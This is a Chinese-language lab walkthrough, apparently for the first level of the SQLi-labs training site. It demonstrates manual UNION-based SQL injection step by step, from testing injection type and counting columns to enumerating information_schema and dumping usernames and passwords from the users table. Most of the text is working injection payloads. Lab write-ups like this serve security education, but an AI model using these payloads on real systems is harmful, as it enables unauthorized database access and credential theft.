第一关:(接收参数,查询数据库,上传到web前端)
首先我们进来看到的第一个页面是这样子的,黄色英文提示你输入数字值的ID作为参数
这里我们分别输入?id=1和?id=2(用英文输入)进行测试可以看到以下界面:
我们会发现数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询,那我们现在需要做的就是判断sql语句是否是拼接,且是字符型还是数字型。
那我们可以根据结果发现是字符型且存在sql注入漏洞页面存在回显。这时候用到的方法就是联合查询!(保持前后俩张表字段数一致,否则会报错)
小知识:如何判断字符型和数字型注入
1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
联合查询
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
?id=1'order by 4 --+
由上可知 ,此表有3列
第二步:爆出显示位,就是了解表格中哪一列是在页面显示的
?id=-1'union select 1,2,3--+
可以看到查询结果是在2和3的位置回显的,则可以将2和3替换为我们的查询语句。
第三步:获取当前数据名和版本号,涉及mysql数据库的一些函数
?id=-1'union select 1,database(),version()--+
通过结果知道当前表所处的数据库是security,版本是8.0.32
第四步:爆表
mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。
在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
根据上图 我可以看到当前security库下有四张表,并且users表最有可能存放用户信息,接下来我们就是得到该表下的字段名以及内容。
第五步:爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
上述语句是查询information_schema数据库下的columns表里users的列名
注意:table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
上述操作可以看到两个敏感字段就是后面的username和password,最有可能存放用户的账号密码
最后一步:得到账号和密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
这样我们就得到各个用户的账号密码了,本次手工注入到此结束。